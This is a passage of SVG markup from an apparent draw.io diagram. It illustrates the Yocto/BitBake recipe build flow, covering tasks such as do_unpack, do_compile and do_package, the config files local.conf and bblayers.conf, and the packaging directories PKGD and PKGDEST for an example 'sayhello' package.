left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 28px; height: 1px; padding-top: 290px; margin-left: 105px;"><div data-drawio-colors="color: rgb(0, 0, 0); " style="box-sizing: border-box; font-size: 0px; text-align: center;"><div style="display: inline-block; font-size: 12px; font-family: &quot;Liberation Sans&quot;; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: normal; overflow-wrap: normal;"><font data-font-src="https://fonts.googleapis.com/css?family=Architects+Daughter" color="#ffffff" size="1"><b style="font-size: 15px;">5</b></font></div></div></div></foreignObject><text x="119" y="294" fill="rgb(0, 0, 0)" font-family="Liberation Sans" font-size="12px" text-anchor="middle">5</text></switch></g><rect x="6228" y="2980" width="440" height="120" fill="#eeeeee" stroke="#36393d" stroke-width="4" pointer-events="all"/><g transform="translate(-0.5 -0.5)scale(4)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 1px; height: 1px; padding-top: 760px; margin-left: 1612px;"><div data-drawio-colors="color: rgb(0, 0, 0); " style="box-sizing: border-box; font-size: 0px; text-align: center;"><div style="display: inline-block; font-size: 12px; font-family: &quot;Liberation Sans&quot;; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: nowrap;"><font data-font-src="https://fonts.googleapis.com/css?family=Architects+Daughter">do_configure<br /></font></div></div></div></foreignObject><text x="1612" y="764" fill="rgb(0, 0, 0)" font-family="Liberation Sans" font-size="12px" text-anchor="middle">do_configure&#xa;</text></switch></g><ellipse cx="6168" cy="3040" rx="60.00000000000001" ry="60.00000000000001" fill="#000000" stroke="#56517e" stroke-width="4" pointer-events="all"/><g transform="translate(-0.5 -0.5)scale(4)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 28px; height: 1px; padding-top: 760px; margin-left: 1528px;"><div data-drawio-colors="color: rgb(0, 0, 0); " style="box-sizing: border-box; font-size: 0px; text-align: center;"><div style="display: inline-block; font-size: 12px; font-family: &quot;Liberation Sans&quot;; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: normal; overflow-wrap: normal;"><font data-font-src="https://fonts.googleapis.com/css?family=Architects+Daughter" color="#ffffff" size="1"><b style="font-size: 15px;">12</b></font></div></div></div></foreignObject><text x="1542" y="764" fill="rgb(0, 0, 0)" font-family="Liberation Sans" font-size="12px" text-anchor="middle">12</text></switch></g><rect x="6308" y="3110" width="360" height="120" fill="#eeeeee" stroke="#36393d" stroke-width="4" pointer-events="all"/><g transform="translate(-0.5 -0.5)scale(4)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 1px; height: 1px; padding-top: 793px; margin-left: 1622px;"><div data-drawio-colors="color: rgb(0, 0, 0); " style="box-sizing: border-box; font-size: 0px; text-align: center;"><div style="display: inline-block; font-size: 12px; font-family: &quot;Liberation Sans&quot;; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: nowrap;"><font data-font-src="https://fonts.googleapis.com/css?family=Architects+Daughter">do_compile<br /></font></div></div></div></foreignObject><text x="1622" y="796" fill="rgb(0, 0, 0)" font-family="Liberation Sans" font-size="12px" text-anchor="middle">do_compile&#xa;</text></switch></g><ellipse cx="6248" cy="3170" rx="60.00000000000001" ry="60.00000000000001" fill="#000000" stroke="#56517e" stroke-width="4" pointer-events="all"/><g transform="translate(-0.5 -0.5)scale(4)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 28px; height: 1px; padding-top: 793px; margin-left: 1548px;"><div data-drawio-colors="color: rgb(0, 0, 0); " style="box-sizing: border-box; font-size: 0px; text-align: center;"><div style="display: inline-block; font-size: 12px; font-family: &quot;Liberation Sans&quot;; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: normal; overflow-wrap: normal;"><font data-font-src="https://fonts.googleapis.com/css?family=Architects+Daughter" color="#ffffff" size="1"><b style="font-size: 15px;">13</b></font></div></div></div></foreignObject><text x="1562" y="796" fill="rgb(0, 0, 0)" font-family="Liberation Sans" font-size="12px" text-anchor="middle">13</text></switch></g><rect x="2508" y="900" width="360" height="120" fill="#eeeeee" stroke="#36393d" stroke-width="4" pointer-events="all"/><g transform="translate(-0.5 -0.5)scale(4)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 1px; height: 1px; padding-top: 240px; margin-left: 672px;"><div data-drawio-colors="color: rgb(0, 0, 0); " style="box-sizing: border-box; font-size: 0px; text-align: center;"><div style="display: inline-block; font-size: 12px; font-family: &quot;Liberation Sans&quot;; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: nowrap;"><font data-font-src="https://fonts.googleapis.com/css?family=Architects+Daughter">do_unpack<br /></font></div></div></div></foreignObject><text x="672" y="244" fill="rgb(0, 0, 0)" font-family="Liberation Sans" font-size="12px" text-anchor="middle">do_unpack&#xa;</text></switch></g><ellipse cx="2448" cy="960" rx="60.00000000000001" ry="60.00000000000001" fill="#000000" stroke="#56517e" stroke-width="4" pointer-events="all"/><g transform="translate(-0.5 -0.5)scale(4)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 28px; height: 1px; padding-top: 240px; margin-left: 598px;"><div data-drawio-colors="color: rgb(0, 0, 0); " style="box-sizing: border-box; font-size: 0px; text-align: center;"><div style="display: inline-block; font-size: 12px; font-family: &quot;Liberation Sans&quot;; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: normal; overflow-wrap: normal;"><font data-font-src="https://fonts.googleapis.com/css?family=Architects+Daughter" color="#ffffff" size="1"><b style="font-size: 15px;">2</b></font></div></div></div></foreignObject><text x="612" y="244" fill="rgb(0, 0, 0)" font-family="Liberation Sans" font-size="12px" text-anchor="middle">2</text></switch></g><path d="M 5848.57 520 Q 5848.57 600.57 5849.05 594.61" fill="none" stroke="rgb(0, 0, 0)" stroke-width="4" stroke-miterlimit="10" pointer-events="stroke"/><path d="M 5847.36 615.54 L 5835.66 586.51 L 5849.05 594.61 L 5863.57 588.76 Z" fill="rgb(0, 0, 0)" stroke="rgb(0, 0, 0)" stroke-width="4" stroke-miterlimit="10" pointer-events="all"/><path d="M 5848.57 520 Q 5848.57 560.57 5593.14 560.57 Q 5337.71 560.57 5337.31 594.53" fill="none" stroke="rgb(0, 0, 0)" stroke-width="4" stroke-miterlimit="10" pointer-events="stroke"/><path d="M 5337.05 615.53 L 5323.39 587.36 L 5337.31 594.53 L 5351.39 587.7 Z" fill="rgb(0, 0, 0)" stroke="rgb(0, 0, 0)" stroke-width="4" stroke-miterlimit="10" pointer-events="all"/><path d="M 5848.57 520 Q 5848.57 560.57 6108.57 560.57 Q 6368.57 560.57 6368.24 594.53" fill="none" stroke="rgb(0, 0, 0)" stroke-width="4" stroke-miterlimit="10" pointer-events="stroke"/><path d="M 6368.04 615.53 L 6354.31 587.39 L 6368.24 594.53 L 6382.31 587.66 Z" fill="rgb(0, 0, 0)" stroke="rgb(0, 0, 0)" stroke-width="4" stroke-miterlimit="10" pointer-events="all"/><rect x="5708" y="360" width="280" height="160" rx="24" ry="24" fill="rgb(255, 255, 255)" stroke="rgb(0, 0, 0)" stroke-width="4" pointer-events="all"/><g transform="translate(-0.5 -0.5)scale(4)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 68px; height: 1px; padding-top: 110px; margin-left: 1428px;"><div data-drawio-colors="color: rgb(0, 0, 0); " style="box-sizing: border-box; font-size: 0px; text-align: center;"><div style="display: inline-block; font-size: 12px; font-family: &quot;Liberation Sans&quot;; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: normal; overflow-wrap: normal;"><font data-font-src="https://fonts.googleapis.com/css?family=Architects+Daughter">conf</font></div></div></div></foreignObject><text x="1462" y="114" fill="rgb(0, 0, 0)" font-family="Liberation Sans" font-size="12px" text-anchor="middle">conf</text></switch></g><path d="M 5149 660 Q 5108 660 5108 510.29 Q 5108 360.57 5252 360.57 Q 5396 360.57 5396 205.47" fill="none" stroke="rgb(0, 0, 0)" stroke-width="4" stroke-miterlimit="10" stroke-dasharray="12 12" pointer-events="stroke"/><path d="M 5396 184.47 L 5405.33 212.47 L 5396 205.47 L 5386.67 212.47 Z" fill="rgb(0, 0, 0)" stroke="rgb(0, 0, 0)" stroke-width="4" stroke-miterlimit="10" pointer-events="all"/><rect x="5149" y="620" width="376" height="80" rx="12" ry="12" fill="#eeeeee" stroke="#36393d" stroke-width="4" pointer-events="all"/><g transform="translate(-0.5 -0.5)scale(4)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 92px; height: 1px; padding-top: 165px; margin-left: 1288px;"><div data-drawio-colors="color: rgb(0, 0, 0); " style="box-sizing: border-box; font-size: 0px; text-align: center;"><div style="display: inline-block; font-size: 12px; font-family: &quot;Liberation Sans&quot;; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: normal; overflow-wrap: normal;">local.conf</div></div></div></foreignObject><text x="1334" y="169" fill="rgb(0, 0, 0)" font-family="Liberation Sans" font-size="12px" text-anchor="middle">local.conf</text></switch></g><path d="M 5847.43 700 Q 5847.43 860 6048 860 Q 6248.57 860 6248.09 994.53" fill="none" stroke="rgb(0, 0, 0)" stroke-width="4" stroke-miterlimit="10" stroke-dasharray="12 12" pointer-events="stroke"/><path d="M 6248.02 1015.53 L 6238.78 987.49 L 6248.09 994.53 L 6257.45 987.56 Z" fill="rgb(0, 0, 0)" stroke="rgb(0, 0, 0)" stroke-width="4" stroke-miterlimit="10" pointer-events="all"/><rect x="5627" y="620" width="440" height="80" rx="12" ry="12" fill="#eeeeee" stroke="#36393d" stroke-width="4" pointer-events="all"/><g transform="translate(-0.5 -0.5)scale(4)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 108px; height: 1px; padding-top: 165px; margin-left: 1408px;"><div data-drawio-colors="color: rgb(0, 0, 0); " style="box-sizing: border-box; font-size: 0px; text-align: center;"><div style="display: inline-block; font-size: 12px; font-family: &quot;Liberation Sans&quot;; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: normal; overflow-wrap: normal;">bblayers.conf</div></div></div></foreignObject><text x="1462" y="169" fill="rgb(0, 0, 0)" font-family="Liberation Sans" font-size="12px" text-anchor="middle">bblayers.conf</text></switch></g><rect x="6707" y="1360" width="921" height="600" fill="rgb(255, 255, 255)" stroke="rgb(0, 0, 0)" stroke-width="4" stroke-dasharray="12 12" pointer-events="all"/><g transform="translate(-0.5 -0.5)scale(4)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 228px; height: 1px; padding-top: 415px; margin-left: 1678px;"><div data-drawio-colors="color: rgb(0, 0, 0); " style="box-sizing: border-box; font-size: 0px; text-align: center;"><div style="display: inline-block; font-size: 12px; font-family: &quot;Liberation Sans&quot;; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: normal; overflow-wrap: normal;"><font style="font-size: 15px;"><b><u>S</u></b> defaults generally to <b><u>${WORKDIR}/${BPN}-${PV}</u></b><br />In <b>git</b> recipes change it to <b><u>${WORKDIR}/git</u></b></font></div></div></div></foreignObject><text x="1792" y="419" fill="rgb(0, 0, 0)" font-family="Liberation Sans" font-size="12px" text-anchor="middle">S defaults generally to ${WORKDIR}/${B...</text></switch></g><rect x="6228" y="2700" width="440" height="160" fill="#eeeeee" stroke="#36393d" stroke-width="4" pointer-events="all"/><g transform="translate(-0.5 -0.5)scale(4)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 1px; height: 1px; padding-top: 695px; margin-left: 1612px;"><div data-drawio-colors="color: rgb(0, 0, 0); " style="box-sizing: border-box; font-size: 0px; text-align: center;"><div style="display: inline-block; font-size: 12px; font-family: &quot;Liberation Sans&quot;; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: nowrap;"><font data-font-src="https://fonts.googleapis.com/css?family=Architects+Daughter">do_patch<br /><i>(No patches)</i><br /></font></div></div></div></foreignObject><text x="1612" y="699" fill="rgb(0, 0, 0)" font-family="Liberation Sans" font-size="12px" text-anchor="middle">do_patch...</text></switch></g><ellipse cx="6168" cy="2780" rx="60.00000000000001" ry="60.00000000000001" fill="#000000" stroke="#56517e" stroke-width="4" pointer-events="all"/><g transform="translate(-0.5 -0.5)scale(4)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 28px; height: 1px; padding-top: 695px; margin-left: 1528px;"><div data-drawio-colors="color: rgb(0, 0, 0); " style="box-sizing: border-box; font-size: 0px; text-align: center;"><div style="display: inline-block; font-size: 12px; font-family: &quot;Liberation Sans&quot;; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: normal; overflow-wrap: normal;"><font data-font-src="https://fonts.googleapis.com/css?family=Architects+Daughter" color="#ffffff" size="1"><b style="font-size: 15px;">3</b></font></div></div></div></foreignObject><text x="1542" y="699" fill="rgb(0, 0, 0)" font-family="Liberation Sans" font-size="12px" text-anchor="middle">3</text></switch></g><ellipse cx="4580" cy="3740" rx="60.00000000000001" ry="60.00000000000001" fill="#000000" stroke="#56517e" stroke-width="4" pointer-events="all"/><g transform="translate(-0.5 -0.5)scale(4)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 28px; height: 1px; padding-top: 935px; margin-left: 1131px;"><div data-drawio-colors="color: rgb(0, 0, 0); " style="box-sizing: border-box; font-size: 0px; text-align: center;"><div style="display: inline-block; font-size: 12px; font-family: &quot;Liberation Sans&quot;; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: normal; overflow-wrap: normal;"><font data-font-src="https://fonts.googleapis.com/css?family=Architects+Daughter" color="#ffffff" size="1"><b style="font-size: 15px;">4</b></font></div></div></div></foreignObject><text x="1145" y="939" fill="rgb(0, 0, 0)" font-family="Liberation Sans" font-size="12px" text-anchor="middle">4</text></switch></g><rect x="6927" y="3560" width="360" height="120" fill="#eeeeee" stroke="#36393d" stroke-width="4" pointer-events="all"/><g transform="translate(-0.5 -0.5)scale(4)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 1px; height: 1px; padding-top: 905px; margin-left: 1777px;"><div data-drawio-colors="color: rgb(0, 0, 0); " style="box-sizing: border-box; font-size: 0px; text-align: center;"><div style="display: inline-block; font-size: 12px; font-family: &quot;Liberation Sans&quot;; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: nowrap;"><font data-font-src="https://fonts.googleapis.com/css?family=Architects+Daughter">do_install<br /></font></div></div></div></foreignObject><text x="1777" y="909" fill="rgb(0, 0, 0)" font-family="Liberation Sans" font-size="12px" text-anchor="middle">do_install&#xa;</text></switch></g><ellipse cx="6868" cy="3620" rx="60.00000000000001" ry="60.00000000000001" fill="#000000" stroke="#56517e" stroke-width="4" pointer-events="all"/><g transform="translate(-0.5 -0.5)scale(4)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 28px; height: 1px; padding-top: 905px; margin-left: 1703px;"><div data-drawio-colors="color: rgb(0, 0, 0); " style="box-sizing: border-box; font-size: 0px; text-align: center;"><div style="display: inline-block; font-size: 12px; font-family: &quot;Liberation Sans&quot;; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: normal; overflow-wrap: normal;"><font data-font-src="https://fonts.googleapis.com/css?family=Architects+Daughter" color="#ffffff" size="1"><b style="font-size: 15px;">14</b></font></div></div></div></foreignObject><text x="1717" y="909" fill="rgb(0, 0, 0)" font-family="Liberation Sans" font-size="12px" text-anchor="middle">14</text></switch></g><path d="M 8354.02 2320 L 8354.02 2614.53" fill="none" stroke="rgb(0, 0, 0)" stroke-width="4" stroke-miterlimit="10" pointer-events="stroke"/><path d="M 8354.02 2635.53 L 8344.69 2607.53 L 8354.02 2614.53 L 8363.35 2607.53 Z" fill="rgb(0, 0, 0)" stroke="rgb(0, 0, 0)" stroke-width="4" stroke-miterlimit="10" pointer-events="all"/><rect x="8228" y="2160" width="252" height="160" rx="24" ry="24" fill="rgb(255, 255, 255)" stroke="rgb(0, 0, 0)" stroke-width="4" pointer-events="all"/><g transform="translate(-0.5 -0.5)scale(4)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 61px; height: 1px; padding-top: 560px; margin-left: 2058px;"><div data-drawio-colors="color: rgb(0, 0, 0); " style="box-sizing: border-box; font-size: 0px; text-align: center;"><div style="display: inline-block; font-size: 12px; font-family: &quot;Liberation Sans&quot;; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: normal; overflow-wrap: normal;"><font data-font-src="https://fonts.googleapis.com/css?family=Architects+Daughter">package</font></div></div></div></foreignObject><text x="2089" y="564" fill="rgb(0, 0, 0)" font-family="Liberation Sans" font-size="12px" text-anchor="middle">package</text></switch></g><rect x="8441.04" y="2260" width="146.96" height="100" rx="15" ry="15" fill="#000000" stroke="none" pointer-events="all"/><g transform="translate(-0.5 -0.5)scale(4)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 35px; height: 1px; padding-top: 578px; margin-left: 2111px;"><div data-drawio-colors="color: #ffffff; " style="box-sizing: border-box; font-size: 0px; text-align: center;"><div style="display: inline-block; font-size: 12px; font-family: &quot;Liberation Sans&quot;; color: rgb(255, 255, 255); line-height: 1.2; pointer-events: all; font-weight: bold; white-space: normal; overflow-wrap: normal;"><font data-font-src="https://fonts.googleapis.com/css?family=Architects+Daughter">PKGD</font></div></div></div></foreignObject><text x="2129" y="581" fill="#ffffff" font-family="Liberation Sans" font-size="12px" text-anchor="middle" font-weight="bold">PKGD</text></switch></g><path d="M 8461.77 3600 Q 8461.14 3760.57 8784.57 3760.57 Q 9108 3760.57 9108 3640.42" fill="none" stroke="#000000" stroke-width="12" stroke-miterlimit="10" pointer-events="stroke"/><path d="M 9108 3613.42 L 9126 3649.42 L 9108 3640.42 L 9090 3649.42 Z" fill="#000000" stroke="#000000" stroke-width="12" stroke-miterlimit="10" pointer-events="all"/><rect x="8138.52" y="2640" width="431" height="960" rx="64.65" ry="64.65" fill="#eeeeee" stroke="#36393d" stroke-width="4" stroke-dasharray="12 12" pointer-events="all"/><g transform="translate(-0.5 -0.5)scale(4)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 106px; height: 1px; padding-top: 780px; margin-left: 2036px;"><div data-drawio-colors="color: rgb(0, 0, 0); " style="box-sizing: border-box; font-size: 0px; text-align: center;"><div style="display: inline-block; font-size: 12px; font-family: &quot;Liberation Sans&quot;; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: normal; overflow-wrap: normal;">A copy of <b>${D}<br /></b>excluding<br /><b>/sysroot-only</b></div></div></div></foreignObject><text x="2089" y="784" fill="rgb(0, 0, 0)" font-family="Liberation Sans" font-size="12px" text-anchor="middle">A copy of ${D}...</text></switch></g><rect x="7960.96" y="3680" width="360" height="120" fill="#eeeeee" stroke="#36393d" stroke-width="4" pointer-events="all"/><g transform="translate(-0.5 -0.5)scale(4)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 1px; height: 1px; padding-top: 935px; margin-left: 2035px;"><div data-drawio-colors="color: rgb(0, 0, 0); " style="box-sizing: border-box; font-size: 0px; text-align: center;"><div style="display: inline-block; font-size: 12px; font-family: &quot;Liberation Sans&quot;; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: nowrap;"><font data-font-src="https://fonts.googleapis.com/css?family=Architects+Daughter">do_package<br /></font></div></div></div></foreignObject><text x="2035" y="939" fill="rgb(0, 0, 0)" font-family="Liberation Sans" font-size="12px" text-anchor="middle">do_package&#xa;</text></switch></g><ellipse cx="7901.96" cy="3740" rx="60.00000000000001" ry="60.00000000000001" fill="#000000" stroke="#56517e" stroke-width="4" pointer-events="all"/><g transform="translate(-0.5 -0.5)scale(4)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 28px; height: 1px; padding-top: 935px; margin-left: 1961px;"><div data-drawio-colors="color: rgb(0, 0, 0); " style="box-sizing: border-box; font-size: 0px; text-align: center;"><div style="display: inline-block; font-size: 12px; font-family: &quot;Liberation Sans&quot;; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: normal; overflow-wrap: normal;"><font data-font-src="https://fonts.googleapis.com/css?family=Architects+Daughter" color="#ffffff" size="1"><b style="font-size: 15px;">15</b></font></div></div></div></foreignObject><text x="1975" y="939" fill="rgb(0, 0, 0)" font-family="Liberation Sans" font-size="12px" text-anchor="middle">15</text></switch></g><path d="M 9108 2320 L 9108 2614.53" fill="none" stroke="rgb(0, 0, 0)" stroke-width="4" stroke-miterlimit="10" pointer-events="stroke"/><path d="M 9108 2635.53 L 9098.67 2607.53 L 9108 2614.53 L 9117.33 2607.53 Z" fill="rgb(0, 0, 0)" stroke="rgb(0, 0, 0)" stroke-width="4" stroke-miterlimit="10" pointer-events="all"/><rect x="8868" y="2160" width="480" height="160" rx="24" ry="24" fill="rgb(255, 255, 255)" stroke="rgb(0, 0, 0)" stroke-width="4" pointer-events="all"/><g transform="translate(-0.5 -0.5)scale(4)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 118px; height: 1px; padding-top: 560px; margin-left: 2218px;"><div data-drawio-colors="color: rgb(0, 0, 0); " style="box-sizing: border-box; font-size: 0px; text-align: center;"><div style="display: inline-block; font-size: 12px; font-family: &quot;Liberation Sans&quot;; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: normal; overflow-wrap: normal;"><font data-font-src="https://fonts.googleapis.com/css?family=Architects+Daughter">packages-split</font></div></div></div></foreignObject><text x="2277" y="564" fill="rgb(0, 0, 0)" font-family="Liberation Sans" font-size="12px" text-anchor="middle">packages-split</text></switch></g><rect x="9308" y="2260" width="240" height="100" rx="15" ry="15" fill="#000000" stroke="none" pointer-events="all"/><g transform="translate(-0.5 -0.5)scale(4)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 58px; height: 1px; padding-top: 578px; margin-left: 2328px;"><div data-drawio-colors="color: #ffffff; " style="box-sizing: border-box; font-size: 0px; text-align: center;"><div style="display: inline-block; font-size: 12px; font-family: &quot;Liberation Sans&quot;; color: rgb(255, 255, 255); line-height: 1.2; pointer-events: all; font-weight: bold; white-space: normal; overflow-wrap: normal;"><font data-font-src="https://fonts.googleapis.com/css?family=Architects+Daughter">PKGDEST</font></div></div></div></foreignObject><text x="2357" y="581" fill="#ffffff" font-family="Liberation Sans" font-size="12px" text-anchor="middle" font-weight="bold">PKGDEST</text></switch></g><path d="M 9108 2840 L 9108 2895.1" fill="none" stroke="rgb(0, 0, 0)" stroke-width="4" stroke-miterlimit="10" pointer-events="stroke"/><path d="M 9108 2916.1 L 9098.67 2888.1 L 9108 2895.1 L 9117.33 2888.1 Z" fill="rgb(0, 0, 0)" stroke="rgb(0, 0, 0)" stroke-width="4" stroke-miterlimit="10" pointer-events="all"/><rect x="8982" y="2680" width="252" height="160" rx="24" ry="24" fill="rgb(255, 255, 255)" stroke="rgb(0, 0, 0)" stroke-width="4" pointer-events="all"/><g transform="translate(-0.5 -0.5)scale(4)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 61px; height: 1px; padding-top: 690px; margin-left: 2247px;"><div data-drawio-colors="color: rgb(0, 0, 0); " style="box-sizing: border-box; font-size: 0px; text-align: center;"><div style="display: inline-block; font-size: 12px; font-family: &quot;Liberation Sans&quot;; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: normal; overflow-wrap: normal;"><font data-font-src="https://fonts.googleapis.com/css?family=Architects+Daughter">sayhello</font></div></div></div></foreignObject><text x="2277" y="694" fill="rgb(0, 0, 0)" font-family="Liberation Sans" font-size="12px" text-anchor="middle">sayhello</text></switch></g><path d="M 9108 3080 L 9108 3120.57 Q 9108 3160.57 9108 3162.55 L 9108 3164.53" fill="none" stroke="rgb(0, 0, 0)" stroke-width="4" stroke-miterlimit="10" pointer-events="stroke"/><path d="M 9107.98 3185.53 L 9098.67 3157.52 L 9108 3164.53 L 9117.34 3157.53 Z" fill="rgb(0, 0, 0)" stroke="rgb(0, 0, 0)" stroke-width="4" stroke-miterlimit="10" pointer-events="all"/><rect x="9021" y="2920" width="174" height="160" rx="24" ry="24" fill="rgb(255, 255, 255)" stroke="rgb(0, 0, 0)" stroke-width="4" pointer-events="all"/><g transform="translate(-0.5 -0.5)scale(4)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 42px; height: 1px; padding-top: 750px; margin-left: 2256px;"><div data-drawio-colors="color: rgb(0, 0, 0); " style="box-sizing: border-box; font-size: 0px; text-align: center;"><div style="display: inline-block; font-size: 12px; font-family: &quot;Liberation Sans&quot;; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: normal; overflow-wrap: normal;"><font data-font-src="https://fonts.googleapis.com/css?family=Architects+Daughter">usr</font></div></div></div></foreignObject><text x="2277" y="754" fill="rgb(0, 0, 0)" font-family="Liberation Sans" font-size="12px" text-anchor="middle">usr</text></switch></g><path d="M 9107.98 3350 L 9107.97 3414.53" fill="none" stroke="rgb(0, 0, 0)" stroke-width="4" 